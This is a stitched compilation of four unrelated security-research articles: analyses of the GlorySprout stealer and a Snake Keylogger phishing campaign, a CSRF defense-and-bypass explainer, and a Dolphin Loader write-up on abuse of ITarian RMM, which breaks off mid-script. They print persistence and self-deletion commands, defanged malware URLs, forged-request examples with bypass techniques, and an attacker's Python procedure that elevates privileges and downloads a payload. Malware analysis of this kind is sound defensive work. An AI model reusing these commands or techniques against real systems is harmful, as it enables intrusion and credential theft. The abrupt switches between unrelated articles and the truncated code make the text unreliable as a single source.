The stealer, developed in C++, is available for purchase at $300, offering lifetime access and 20 days of crypting service, which encrypts the stealer’s payload to evade detection. Similar to other stealers, it includes a pre-built loader, Anti-CIS execution, and a Grabber module (which is non-functional). While the stealer advertises AntiVM and keylogging capabilities, I have not witnessed either in action or code. Additionally, it features support for log backup and log banning, allowing for the exclusion of logs from specified countries or IPs.
What particularly captured my attention regarding this stealer was that an individual, who prefers to stay anonymous, informed me it’s a clone of Taurus Stealer and shared some interesting files with me.
Taurus Stealer Backstory
Let’s talk a little about Taurus Stealer Project. It first appeared for sale on XSS in April 2020.
The stealer is written in C++ with a Golang panel. It was sold for $150 for lifetime (I guess the pricing was different in 2020).
One of the XSS users claims that the panel is very similar to Predator The Thief stealer. You can read a nice writeup on Predator Stealer here.
The Predator stealer shares many similarities with Taurus Stealer, including encryption in C2 communication, Bot ID formatting, the Anti-VM feature, and naming conventions for log files, as well as resemblances in the panel GUI. However, to refocus, Taurus Stealer terminated their project around 2021. The cracked version of Taurus Stealer is being sold on Telegram, and there’s information suggesting that Taurus Stealer sold their source code, which could explain these parallels.
Now, let’s confirm the theories…
Below is the screenshot of GlorySprout panel:
And this is the Taurus Stealer panel:
Can you spot the similarities and differences? 🙂
There is a great writeup on Taurus Stealer out there by Outpost24 that you can access here.
I will focus on the brief analysis of GlorySprout so we can make some conclusions later.
GlorySprout Technical Analysis
GlorySprout dynamically resolves APIs through API hashing, targeting libraries such as shell32.dll, user32.dll, ole32.dll, crypt32.dll, advapi32.dll, ktmw32.dll, and wininet.dll. This hashing process involves operations such as multiplication, addition, XOR, and shifting.
The stealer accesses the hashed API values via specific offsets.
The Anti-CIS function is shown below:
The stealer exists if any of the language identifiers is found.
The stealer obfuscates the strings via XOR and arithmetic operations such as substitution.
The persistence is created via scheduled task named \WindowsDefender\Updater with ComSpec (cmd.exe) spawning the command /c schtasks /create /F /sc minute /mo 1 /tn “\WindowsDefender\Updater” /tr “. If the loader module is used, the task runs the dropped secondary payload from %TEMP% folder.
If the loader module is configured, the retrieved payload name (8 characters) would be randomly generated via the function below from the predefined string aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ.
The function described is also used to generate the filename parameter in a Content-Disposition header for C2 communications as well as the RC4 key for the ZIP archive with collected data.
But the function to generate random string doesn’t always generate random strings and we will come back to it in the C2 communications section.
The C2 address of the stealer is retrieved from the resource section of the decrypted/unpacked payload.
C2 Communication
Communication with the C2 server is performed via port 80. Upon checking in with the C2 server, the infected machine sends out the POST request “/cfg/data=” using the user-agent “Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.5906.121 Safari/537.36”. The BotID value is encrypted with the RC4 key generated via random key generation function that was previously mentioned and base64-encoded. The RC4 key is the first 10 bytes of the encrypted string.
The base64-encoding set of characters is obfuscated as shown below.
Now, interestingly enough, the RC4 key for the initial check-in does not change depsite using the randomization, because the initial state value remains constant, which is 0xC40DF552. If we try the randomization function with Python and using the initial state value, we get the same value, which is IDaJhCHdIlfHcldJ.
The reproduced Python code for randomization function:
initial_seed = 0xC40DF552 # Initial state
src_data = bytes.fromhex("1B6C4C6D4D6E4E6F4F70507151725273537454755576567757785879597A5A7B5B7C5C7D5D7E5E7F5F80608161826283")
adjusted_src_data = bytearray(len(src_data))
for i, b in enumerate(src_data):
adjusted_src_data[i] = b - (src_data[0] % 16)
defrand(seed):
seed = (214013 * seed + 2531011) & 0xFFFFFFFF
return ((seed >> 16) & 0x7FFF), seed
defgenerate_key(a2, seed):
key = ""
for _ in range(a2):
rand_val, seed = rand(seed)
key += chr(adjusted_src_data[1 + (rand_val % 23)])
return key, seed
value, final_seed = generate_key(0x10, initial_seed)
value, final_seed
print(value)
After the check-in, the server responds with an encrypted configuration, where the first 10 bytes is the RC4 key.
Here is an example breakdown of the configuration (0: stands for disabled, 1: stands for enabled):
1: Grab browser history
1: Grab screenshot
1: Grab cryptowallets recursively from %AppData% folder (Cryptowallets supported based on the analysis: Electrum, MultiBit, Armory, Ethereum, Bytecoin, Jaxx, Atomic, Exodus, DashCore, Bitcoin, WalletWasabi, Daedalus Mainnet, Monerom )
1: Grab Steam sessions
1: Grab BattleNet account information
1: Grab Telegram session
1: Grab Discord session
1: Grab Skype messages
1: Grab Jabber accounts from %AppData% folder
1: Grab Foxmail accounts
1: Grab Outlook accounts
1: Grab FileZilla data
1: Grab WinFTP accounts
1: Grab WinSCP accounts
1: Grab Authy
0: Grab NordVPN
0: Unknown placeholder
1: Anti-VM
1: Self-deletion (self-delete after sending the logs to C2): self-deletion performs with the command “C:\Windows\system32\cmd.exe” /c ping google.com && erase C:\Users\username\Desktop\payload.exe” . Pinging introduces the delay, likely to guarantee the successful full execution of the payload.
loader_URL – contains the link to the secondary payload
1: Only with crypto – the loader payload only runs if cryptowallets are present on the machine
1: Autorun – creates the persistence for a secondary payload
1: Start after creating – runs the secondary payload after dropping it in %TEMP% folder
After receiving the configuration, the infected machine sends out the POST request with /log/ parameter containing the ZIP archive with collected data to C2 server as shown below:
The data is encrypted the same way, with RC4 and Base64-encoded.
The server sends 200 OK response to the machine and the machine ends the communication with the POST request containing /loader/complete/?data=1 .
Additional Information
As mentioned before, the panel of the stealer is written in Golang. The panel also utilizes SQL databases to process configuration and data. The stealer makes use of sqlx library, a popular extension for Go’s standard database/sql package designed to make it easier to work with SQL databases.
Interesting usernames found in mysql database:
It’s worth nothing that the database contains the mention of taurus. At this point, we can make a confident assessment that it’s a clone of Taurus Stealer code based on the technical analysis.
The example of the collected log:
General/forms.txt – contains the decrypted browser passwords. The browser passwords are decrypted on the server.
Conclusion
Based on the GlorySprout analysis, it is confidently assessed that the individual behind GlorySprout cloned the code of the Taurus Stealer project and modified it according to their specific needs and requirements. A notable difference is that GlorySprout, unlike Taurus Stealer (according to the version analyzed by Outpost24), does not download additional DLL dependencies from C2 servers. Additionally, GlorySprout lacks the Anti-VM feature that is present in Taurus Stealer. GlorySprout is likely to fade away e and fail to achieve the popularity of other stealers currently on the market.
Affected platforms: Microsoft Windows Impacted parties: Windows Users Impact: Collects sensitive information from the victim’s computer Severity level: High
Fortinet’s FortiGuard Labs recently caught a phishing campaign in the wild with a malicious Excel document attached to the phishing email. We performed a deep analysis on the campaign and discovered that it delivers a new variant of Snake Keylogger.
Snake Keylogger (aka “404 Keylogger” or “KrakenKeylogger”) is a subscription-based keylogger with many capabilities. It is a .NET-based software originally sold on a hacker forum.
Once executed on a victim’s computer, it has the ability to steal sensitive data, including saved credentials from web browsers and other popular software, the system clipboard, and basic device information. It can also log keystrokes and capture screenshots.
In the following sections, we will look at the phishing spam, how it lures the recipient into opening a malicious Excel document, how the Excel document downloads and executes a new variant of Snake Keylogger, and what anti-analysis techniques it uses to protect itself from being detected and blocked during the attack.
Snake Keylogger Overview
The Phishing Email
Figure 1: The phishing email.
The email content in Figure 1 attempts to deceive the recipient into opening the attached Excel file (swift copy.xls) by claiming that funds have been transferred into their account. To warn the user, the FortiGuard service marks this phishing email as “[virus detected],” as shown in the subject line.
The Malicious Excel Document
Figure 2: When the Excel file is opened in Excel program.
Figure 2 shows the content of the attached Excel file when opened in the Office Excel program. Meanwhile, malicious code is executed in the background to download other files.
Looking into the binary data of the Excel file, it contains a specially crafted embedded link object that exploits the CVE-2017-0199 vulnerability to download a malicious file. Figure 3 displays the embedded link object (“\x01Ole”). The link is “hxxp[:]//urlty[.]co/byPCO,” which is secretly requested by the Excel program when the file is opened.
Figure 3: Crafted embedded OLE link object.
When the link is accessed, it returns with another URL in the “Location” field of the response header, which is “hxxp[:]//192.3.176[.]138/xampp/zoom/107.hta”. HTA file is an HTML Application file executed by a Windows application— by default, the HTML Application host (mshta.exe).
The 107.hta file is full of obfuscated JavaScript code that is executed automatically when loaded by mshta.exe. Figure 4 shows a partial view of the JavaScript code.
Figure 4: The partial content of the downloaded file “107.hta”.
VBScript Code & PowerShell Code
After decoding and de-obfuscating the JavaScript code, we were able to get a piece of the VBScript code, as shown in Figure 5.
Figure 5: The VBScript code decoded from Javascript code.
It’s evident that the VBScript code created an object of “Script.Shell” and executed a piece of PowerShell code decoded from a base64 string, defined in the variable “ps_code”. This PowerShell code is then executed by “cmd.exe” (%ComSpec%) when the “shellObj.Run()” function is called.
The base64 decoded PowerShell code is shown below. It invokes a Windows API, URLDownloadToFile(), to download an executable file to the victim’s computer and run it after waiting three seconds.
The URL of the executable file is hardcoded as “hxxp[:]//192.3.176[.]138/107/sahost.exe” and the local file is “%Appdata%\sahost.exe”. The PowerShell code finally starts the executable file by calling Start “$Env:AppData\sahost.exe”.
Dive into the Loader-Module
My research shows that the downloaded EXE file (sahost.exe) contains a new variant of Snake Keylogger, which is extracted, decrypted, loaded, and run by the EXE file. I will refer to this downloaded EXE file as the Loader module.
Figure 6 is a screenshot of its analysis in a packer detection tool. It was developed using the Microsoft .Net Framework.
Figure 6: Properties of the downloaded EXE.
To protect the Snake Keylogger core module from being detected and blocked by cybersecurity products, sahost.exe uses multiple-layer protection techniques, like transformation and encryption, within several named resources. When sahost.exe starts, it extracts several modules (dlls) onto its memory from the Resource section that provide methods to inquire, extract, decrypt, install, and deploy the core module.
The original name of “sahost.exe” is “utGw.exe.” It decrypts and extracts a module called “FGMaker.dll” from a resource named “siri” in its Resource section. Figure 7 shows some of that code.
Figure 7: Load a module from Resouce “siri”
The “FGMaker.dll” module extracts additional modules (such as “Q” and “Gammar.dll”) that work together to extract and decrypt a module called “Tyrone.dll” from the resource “KKki”.
Figure 8: Resource “KKki” is about to load
You may have noticed in Figure 8 that it loads “KKki” as a Bitmap resource. The module “Tyrone.dll” was encrypted, broken down into bytes, and kept in the Bitmap resource. Figure 9 shows the content of the resource “KKki” as a Bitmap picture.
Figure 9: Bitmap resource “KKki”.
After another decryption sequence, we can see the plaintext of the “Tyrone.dll” module in memory. It is then loaded as an executable module by calling the Assembly.Load() method.
Figure 10 showcases the modules that have been extracted and loaded by the Loader module so far.
Figure 10: Relevant modules extracted by the Loader module.
Dissecting the Deploy Module
I will refer to “Tyrone.dll” as “Deploy module” in the following analysis. It performs the following functions:
Renames the Loader module file.
This checks whether the current process’s full path is “% AppData%WeENKtk.exe,” renames it, and sets attributes (Hidden, ReadOnly, System, etc.) to it if the result is no. On the very first run, it was %AppData%sahost. exe.
Ensures Snake Keylogger persistence.
The Deploy module runs the “schetasks.exe” command to create a new scheduled task in the system Task Scheduler. This allows Snake Keylogger to launch at system startup. Figure 11 shows the scheduled task for Snake Keylogger.
Figure 11: Snake Keylogger is added in the system Task Scheduler.
Process hollowing.
The Deploy module obtains a resource data, “I7O14IyvsdO,” from its own Resource section. Then, it decrypts the data with the string key “YRDdITlYRXI” into a final PE file in its memory. This is the core module of Snake Keylogger.
Next, the Deploy module performs process hollowing, a malware technique that creates a new process and then inserts malicious code into it to run. This allows it to hide its original process.
Figure 12: Break on a method calling CreateProcess().
Figure 12 shows that it about to call the obfuscated API CreateProcess(). It has a key argument, “Creation Flag,” indicating how to create the process. Its value has been set to 134217732, i.e. 0x08000004 in hexadecimal. It is defined as “CREATE_SUSPENDED” and “CREATE_NO_WINDOW.” The process name, the first argument to CreateProcess(), is the same as the Loader module.
To complete the process hollowing, it needs to call some relevant Windows APIs, such as ZwUnmapViewOfSection(), VirtualAllocEx(), ReadProcessMemory(), WriteProcessMemory(), GetThreadContext(), SetThreadContext(), and ResumeThread().
Snake Keylogger Core Module and Features
The core module’s original name is “lfwhUWZlmFnGhDYPudAJ.exe.” Figure 13 shows that the attacker has fully obfuscated the entire module, which displays its entry point (“Main()”) and the obfuscated code, class names, and method names.
The Snake Keylogger’s structure is very clear. We can see its capability to collect private and sensitive information from the victim’s device, including the device’s basic information, saved credentials, keystrokes, screenshots, and data on the system clipboard.
The features are split into different methods driven by Timers. Snake Keylogger also has some relevant flag variables indicating whether the feature is enabled.
This variant of Snake Keylogger only enables the credential collection feature.
First, Snake Keylogger fetches the device’s basic information, like the PC name, System time, IP address, Country name, Region name, City name, TimeZone, and so on. Figure 14 shows an example of the basic information collected from one of my testing devices.
Figure 14: Basic information example.
This Snake Keylogger variant includes several hardcoded IP addresses the attacker may believe are used by some sample automatic analysis systems they want to avoid.
Figure 15: Method to detect victim’s IP address.
One method called “anti_bot(),” shown in Figure 15, checks the hardcoded IP addresses. “BotDetected” is returned if the victim’s IP address matches any of those IP addresses. This results in the Snake Keylogger only collecting credentials but never sending them to the attacker.
Credentials Collection
Snake Keylogger collects saved credentials from over 50 popular software programs, categorized as web browsers, email clients, IM clients, and FTP clients.
Figure 16: Method for fetching Google Chrome credentials.
Every software has its own profile folder for saving configuration data. Snake Keylogger traverses all the profile files, looking for the saved credentials. Figure 16 is an example of the method used for Google Chrome. As you may have noticed in the “Locals” tab, it just obtained one set of credentials, including “URL,” “Login ID,” and “Login Password.”
Mozilla-based Web Browsers: “SeaMonkey,” “IceDragon,” “CyberFox,” “WaterFox,” “Postbox,” and “PaleMoon”
Other Web Browsers: “Opera,” “Firefox”.
Email clients: “FoxMail,” “Thunderbird”.
FTP clients: “FileZilla”.
IM client: “Pidgin,” “Discord”.
All the credentials collected from the above software are temporarily stored in a global variable.
Stolen Credentials Submitted Over SMTP
Snake Keylogger variants have several ways to submit harvested credentials to the attacker, including uploading the data onto an FTP server, sending it to an email address, and submitting it over Telegram’s bot over HTTP Post method. This variant of Snake Keylogger sends data over SMTP.
Figure 17 is a screenshot of how it builds the email content. The upper part contains the code that includes the email’s sender, recipient, subject, and body, while the lower part shows the content of the variable “mailMessage” with the data filled by the code.
Figure 17: Created email message with collected credentials.
The email’s body contains the computer’s basic information saved in a global variable, followed by the credentials stolen from the victim’s computer saved in another global variable. It then creates an SMTP client, and its Send() method is called to send the credentials to the attacker.
Figure 18 shows an example of how the email looks in Microsoft Outlook.
Figure 18: Attacker’s view of the email.
Snake Keylogger Summary
Figure 19 illustrates the entire workflow of the Snake Keylogger campaign.
Figure 19: Snake Keylogger campaign workflow.
This analysis reviewed the entire process of this Snake Keylogger campaign, which is being led by a phishing email.
The phishing email, which included a malicious Excel document, lured the recipient into opening the file to see the details of a “balance payment.” The Excel document was displayed in different tools, and I explained how it downloads an HTA file by exploiting a known vulnerability.
It then leverages multiple language scripts, such as JavaScript, VBScript, and PowerShell, to download the Snake Keylogger’s Loader module.
Afterward, I elaborated on how the Loader module extracts multiple modules (including several middle modules and the Deploy module) from the file’s Resource section. Malware often uses a process like this to prevent being detected and analyzed.
Next, I introduced how the Snake Keylogger Deploy module establishes persistence on the victim’s computer and conducts process hollowing to put the core module into a newly created process to run.
Finally, we examined how the Snake Keylogger steals sensitive information from the victim’s computer and how the stolen data is sent to the attacker using the SMTP protocol.
Fortinet Protections
Fortinet customers are already protected from this campaign with FortiGuard’s AntiSPAM, Web Filtering, IPS, and AntiVirus services as follows:
The relevant URLs are rated as “Malicious Websites” by the FortiGuard Web Filtering service.
FortiMail recognizes the phishing email as “virus detected.” In addition, real-time anti-phishing provided by FortiSandbox embedded in Fortinet’s FortiMail, web filtering, and antivirus solutions provides advanced protection against both known and unknown phishing attempts.
FortiGuard IPS service detects the vulnerability exploit against CVE-2017-0199 with the signature “MS.Office.OLE.autolink.Code.Execution”.
FortiGuard Antivirus service detects the attached Excel document, 107.hta, the downloaded executable file and the extracted Snake Keylogger with the following AV signatures.
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.
The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.
To stay informed of new and emerging threats, you can sign up to receive future alerts.
We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.
Cross-Site Request Forgery (CSRF) is a serious web security vulnerability that allows attackers to exploit active sessions of targeted users to perform privileged actions on their behalf. Depending on the relevancy of the action and the permissions of the targeted user, a successful CSRF attack may result in anything from minor integrity impacts to a complete compromise of the application.
CSRF attacks can be delivered in various ways, and there are multiple defenses against them. At the same time, there are also many misconceptions surrounding this type of attack. Despite being a well-known vulnerability, there’s a growing tendency to rely too heavily on automated solutions and privacy-enhancing defaults in modern browsers to detect and prevent this issue. While these methods can mitigate exploitation in some cases, they can foster a false sense of security and don’t always fully address the problem.
It’s time to shatter the uncertainties surrounding CSRF once and for all. We’ll outline its fundamentals, attack methods, defense strategies, and common misconceptions – all with accompanied examples.
Cross-Site Request Forgery simplified
CSRF allows adversary-issued actions to be performed by an authenticated victim. A common example, given no implemented controls, involves you being logged into your bank account and then visiting an attacker-controlled website. Without your knowledge, this website submits a request to transfer funds from your account to the attacker’s using a hidden form.
Because you’re logged in on the bank application, the request is authenticated. This happens because the attacker crafted a request that appeared to originate from your browser, which automatically included your authentication credentials.
Assume that the simplified request below is sent when a fund transfer is made to an intended recipient:
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]
amount=100&toUser=intended
To forge this request, an attacker would host the following HTML on their page:
This creates a hidden form on the attacker’s page. When visited by an authenticated victim, it triggers the victim’s browser to issue the request below with their session cookie, resulting in an unintended transfer to the attacker’s account:
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token> (automatically included by the browser)
[...]
amount=5000&toUser=attacker
For this scenario to be possible, two conditions must be met:
1. The attacker must be able to determine all parameters and their corresponding values that are needed to perform a sensitive action. In the above scenario, only two are present: “amount” and “toUser”. An attacker can easily determine these by, for example, observing a legitimate outgoing request from their own account. The parameters’ values cannot hence be set to something unknown or unpredictable.
2. The victim’s browser must automatically include their authentication credentials. In our scenario, the bank application maintains an authenticated state using the “session” cookie. Controlling flags can be set on cookies to prevent them from being automatically included by requests issued cross-site, but more on this later.
This is the entire foundation for CSRF vulnerabilities. In a real-world scenario, performing sensitive actions would most likely not be possible with a request this simplified, as various defenses can prevent any or both conditions from being met.
CSRF defenses and bypasses
Understanding the two necessary conditions for CSRF, we can explore the most common defenses and how these can be circumvented if implemented incorrectly.
CSRF tokens
CSRF tokens are a purposeful defense aimed at preventing the condition of predictability. A CSRF token is simply an unpredictable value, tied to the user’s session, that is included in the request to validate an action – a value not known to the attacker.
Added to our fund transfer request, it would look as follows:
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]
amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024
Already here, we can get an implementation fault out of the way:
Fault 1
If a security control relies on a value that is intended to be unknown to attackers, then proper measures are required to prevent disclosing the value, as well as to stop attackers from deducing or brute-forcing it.
To ensure the token’s unpredictability, it must be securely generated with sufficient entropy.
Primarily, an application transmits CSRF tokens in two ways: synchronizer token patterns and double-submit cookie patterns.
Synchronizer token patterns
In a synchronized token pattern, the server generates a CSRF token and shares it with the client before returning it, usually through a hidden form parameter for the associated action, such as:
On form submission, the server checks the CSRF token against one stored in the user’s session. If they match, the request is approved; otherwise, it’s rejected.
Fault 2
Failing to validate the CSRF token received from the client against the expected token stored in the user’s session enables an attacker to use a valid token from their own account to approve the request.
Observation
Keep in mind that even if the token is securely generated and validated, having it within the HTML document will leave it accessible to cross-site scripting and other vulnerabilities that can exfiltrate parts of the document, such as dangling markup and CSS injection.
If it’s also returned to the server as a request parameter, as in the example above, then an exfiltrated token can be easily added to a forged request. To prevent this, CSRF tokens can be returned as custom request headers.
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
X-ANTI-CSRF:o24b65486f506e2cd4403caf0d640024
[...]
amount=100&toUser=intended
This way, it will not be possible to send them cross-origin without a permissive CORS implementation. This is thanks to the same-origin policy, which prevents browsers from sending custom headers cross-origin.
Nonetheless, this method is uncommon, as it restricts the application to sending CSRF protected requests using AJAX.
Double-submit cookie patterns
In a double-submit cookie pattern, the server generates the token and sends it to the client in a cookie. Then the server only needs to verify that its value matches one sent in either a request parameter or header. This process is stateless, as the server doesn’t need to store any information about the CSRF token.
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>; anti-csrf=o24b65486f506e2cd4403caf0d640024
[...]
amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024
Fault 3
The issue arises when an attacker can overwrite the cookie value with their own, for example, through a response header injection or a taken-over subdomain. This allows them to use their own value in the token sent amongst the request parameters.
To mitigate this, it’s recommended to cryptographically sign the CSRF token using a secret known only to the server. This implementation is referred to as a signed double-submit cookie.
SameSite cookies
SameSite is an attribute that can be set on cookies to control how they are sent with cross-site requests. The values that the attribute can be given are ‘Strict’, ‘Lax’ and ‘None’.
When the SameSite attribute is set to ‘Strict’, the browser will only send the cookie for same-site requests. This means that the cookie will not be sent along with requests initiated from a different site, preventing our second CSRF condition: the victim’s browser automatically including their authentication credentials.
Figure 1 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ setting
The only way around this would be if the attacker could somehow get the application to trigger a forged request to itself.
Fault 4
Consider that the application features some JavaScript for initiating client-side requests, such as a redirect that also accepts user input to determine its location. If an attacker could supply a URL with a state-changing action to this feature, the state-changing action would be sent within the same-site context, as it would be redirected from the application itself.
Figure 2 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ settingFigure 3 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as the action was sent within the same-site context via the client-side redirect
As demonstrated in figures 2-3, delivering the state-changing action directly to the victim results in the request being denied. However, including the action within a client-side redirect beforehand bypasses the protection offered by ‘SameSite=Strict’ cookies. Be cautious of client-side features like this in your codebase. It’s also not impossible that these may directly include CSRF tokens, rendering even synchronizer-token defenses ineffective.
To emphasize, this only works with client-side / DOM-based redirects. A state-changing action passed through a traditional 302 server-side redirect with a set “Location” header wouldn’t be treated as same-site. Welcome to the era of “client-side CSRF”.
Observation
What if the application lacks abusable client-side code but is vulnerable to direct JavaScript injection, meaning there is a cross-site scripting (XSS) vulnerability?
I’ve seen multiple claimed “XSS to CSRF” chains and scenarios, often implying that the former enables the latter, but this is incorrect.
If an attacker has control over the JavaScript, then they also have control over same-site request sending. This means that any forged requests via an XSS vulnerability will result in these requests originating from the application. Cross-site request sending at this point is not needed nor enabled.
Being vulnerable to XSS is a bigger problem.
Even with synchronizer tokens in place, an attacker can use the injected JavaScript to simply read the tokens and use them in same-site AJAX requests.
Keep in mind that although the targeted application is free from abusable client-side code and XSS vulnerabilities, these issues can still exist on subdomains and different ports. Requests from these sources will be same-site even though they are not same-origin.
Lax
When the SameSite attribute is set to Lax, the browser will send the cookie for same-site requests and cross-site requests that are considered “safe”. These are GET requests initiated by a user’s top-level navigation (e.g., clicking on a hyperlink). The cookie will not be sent for cross-site requests initiated by third-party sites, such as POST requests via AJAX.
This means that similarly to ‘Strict’, ‘Lax’ would also deny the following scenario:
Figure 4 – adversary-issued POST action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Lax’ setting
But, in contrast, it would allow:
Figure 5 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as it was a GET request initiated by a user’s top-level navigation
Fault 5
As with ‘Strict’, we must be cautious of all client-side JavaScript functionalities, but also any state-changing actions that can be performed via the GET request method. During testing, we find it common that the request method can simply be rewritten into a GET from a POST, rendering any ‘SameSite=Lax’ protections ineffective, provided that no other CSRF defenses are in place.
The “Lax + POST” intervention
Chrome automatically sets the SameSite attribute to ‘Lax’ for cookies that don’t have this attribute explicitly defined. Compared to a manually set ‘Lax’ value, Chrome’s defaulting to ‘Lax’ comes with temporary exception: a two-minute time window where cross-site POST requests are permitted. This intervention is to account for some POST-based login flows, such as certain single sign-on implementations.
Fault 6
If both the attacker and the targeted victim act quickly on a “Lax + POST” intervention, exploitation becomes possible within this brief time window.
A more realistic scenario, however, would be if the attacker somehow could force the application to first issue the victim a new cookie, renewing the two-minute window, and then incorporating the renewal into a regular cross-site POST exploit.
None
Setting the SameSite attribute to ‘None’ allows the cookie to be sent with all requests, including cross-site requests. While there are valid reasons to set a ‘None’ value, protecting against CSRF attacks is not one of them. Exercise caution when using ‘None’ values in this context.
Note that for ‘None’ to be explicitly set, the secure attribute must also be set on the cookie.
A few days ago I was looking at the sample from Dolphin Loader and couldn’t understand for awhile how it was able to retrieve the final payload because the payload was not able to fully complete the execution chain. Recently someone sent me a fresh working sample, so I had a little “hell yeah!” moment.
Before looking into the abuse of ITarian RMM software, we should talk a little bit about Dolphin Loader.
Dolphin Loader is a new Malware-as-a-Service loader that first went on sale in July 2024 on Telegram. The loader has been observed to deliver various malware such as SectopRAT, LummaC2 and Redline via drive-by downloads.
The Dolphin Loader claims to bypass SmartScreen because it is signed with an EV (Extended Validation) certificate, Chrome alert and EDR. The seller also offers EasyCrypt services for LummaC2 Stealer users. EasyCrypt, also known as EasyCrypter, is a crypter service sold on Telegram for x86 .NET/Native files. I previously wrote a Yara rule for the crypter for UnprotectProject, which you can access here.
The loader has the following pricing:
3 slots MSI (Weekly access) – $1800
2 slots MSI (Monthly access) – $5400
1 slot EXE (Monthly access) – $7200
The executable files are highly priced compared to MSI packaging files. What makes executable file more attractive is likely that executable files can be easily packed and compressed compared to MSI files and that users are more accustomed to executable files. The familiarity can make users more likely to trust and execute an an executable file, even if it is from an untrusted source. Also, executables files are standalone and can be executed directly without requiring any additional software or scripts.
Some of the Dolphin Loader payloads currently have zero detections on VirusTotal. Why? Because it uses legitimate, EV-signed remote management software to deliver the final payload. This approach is very convenient for the loader’s developer because it eliminates the need to obtain an EV certificate and end up paying a significant amount of money out-of-pocket. Leveraging legitimate RMM software to deliver malware also offers numerous advantages:
Since RMM tools are meant to run quietly in the background because they monitor and manage systems, malware leveraging these tools can operate stealthily, avoiding detection by users.
RMM tools already include features for remote command or script execution, system monitoring, and data exfiltration. Attackers can use these built-in functionalities to control compromised systems.
Organizations trust their RMM solutions for IT operations. This trust can be exploited by attackers to deliver malware without raising immediate suspicion from users or IT staff.
The Abuse of ITarian RMM
Initially I was going with the theory of the DLL side-loading with the MSI payload (MD5: a2b4081e6ac9d7ff9e892494c58d6be1) and specifically with the ITarian agent but had no luck of finding the tampered file. So, the second theory is that the loader is leveraging an RMM software based on the process tree from one of the public samples.
So, the sample provided to me, helped to confirm the second theory because the threat actor used the same name richardmilliestpe for the MSI payload distribution link and for the RMM instance:
Distribution link: hxxps://houseofgoodtones.org/richardmilliestpe/Aunteficator_em_BHdAOse8_installer_Win7-Win11_x86_x64[.]msi
Out of curiosity, I decided to get the ITarian RMM, which is available for free but with limited functionalities (just the one that we need 🙂 ). We are particularly interested in Procedures. In ITarian endpoint management you can create a custom procedure to run on the registered devices.
Then you can leverage Windows Script Procedure option to create a custom script. The purpose of my script was to pop the calculator up. Based from my observation, the script can only be written in Python. I did not see the PowerShell option available but you can leverage Python to run PowerShell scripts.
You can then configure when you would want the script to run – one time, daily, weekly or monthly. The “Run this procedure immediately when the profile is assigned to a new device” option is likely what the threat actor had.
After setting the script up successfully and assigning it to the proper group or customer, I went ahead and retrieved the link to download an MSI installer for ITarian RMM client via device enrollment option.
The downloaded MSI file would be approximately 96MB in size and the naming convention would be similar to the following, where “raeaESpJ” is the token value:
em_raeaESpJ_installer_Win7-Win11_x86_x64
After the successful installation of the software, the dependencies and files will be dropped under either C:\Program Files (x86)\ITarian or C:\Program Files\COMODO, the token.ini file (the file is deleted after successfully retrieving the instance address) contains the token value that the client will use to obtain the instance address, for example zeus14-msp.itsm-us1.comodo.com (from the testing case above).
For blue teamers while looking for suspicious activities for ITarian RMM client, you should look for the contents of the RmmService.log file under ITarian\Endpoint Manager\rmmlogs or COMODO\Endpoint Manager\rmmlogs. The log file would provide great insights into what procedures or scripts were ran on the host and their configurations.
From the screenshot above we can see the repeat: NEVER, which means that the script will only run one time when the endpoint device is enrolled.
Now let’s inspect the log file from our malicious sample. We can see two scripts present.
The first script is named “st3”, executes only once – when the device is first registered.
msgScheduledTaskList {
scheduledTaskId: "scheduled_5"
msgSchedule {
repeat: NEVER
start: 1723161600
time: "17:15"
}
msgProcedureSet {
procedureSetId: "473"
alertHandlerId: "1"
msgProcedureList {
procedureId: "473"
pluginType: Python_Procedure
msgProcedureRule {
name: "st3"
script: "import os\nimport urllib\nimport zipfile\nimport subprocess\nimport time\nimport shutil\nimport ctypes\nimport sys\n\nclass disable_file_system_redirection:\n _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n def __enter__(self):\n self.old_value = ctypes.c_long()\n self.success = self._disable(ctypes.byref(self.old_value))\n\n def __exit__(self, type, value, traceback):\n if self.success:\n self._revert(self.old_value)\n\ndef is_admin():\n try:\n return ctypes.windll.shell32.IsUserAnAdmin()\n except:\n return False\n\ndef run_as_admin(command, params):\n try:\n if not is_admin():\n # Restart the script with admin rights\n params = \' \'.join(params)\n print(\"Restarting script with admin rights...\")\n ctypes.windll.shell32.ShellExecuteW(None, \"runas\", command, params, None, 1)\n sys.exit(0)\n else:\n print(\"Running command with admin rights:\", command, params)\n result = subprocess.call([command] + params, shell=True)\n if result != 0:\n print(\"Command failed with return code:\", result)\n else:\n print(\"Command executed successfully.\")\n except Exception as e:\n print(\"Failed to elevate to admin. Error:\", e)\n sys.exit(1)\n\ndef download_file(url, save_path):\n try:\n request = urllib.urlopen(url)\n with open(save_path, \'wb\') as f:\n while True:\n chunk = request.read(100 * 1000 * 1000)\n if not chunk:\n break\n f.write(chunk)\n print(\"File downloaded successfully and saved to {}.\".format(save_path))\n # 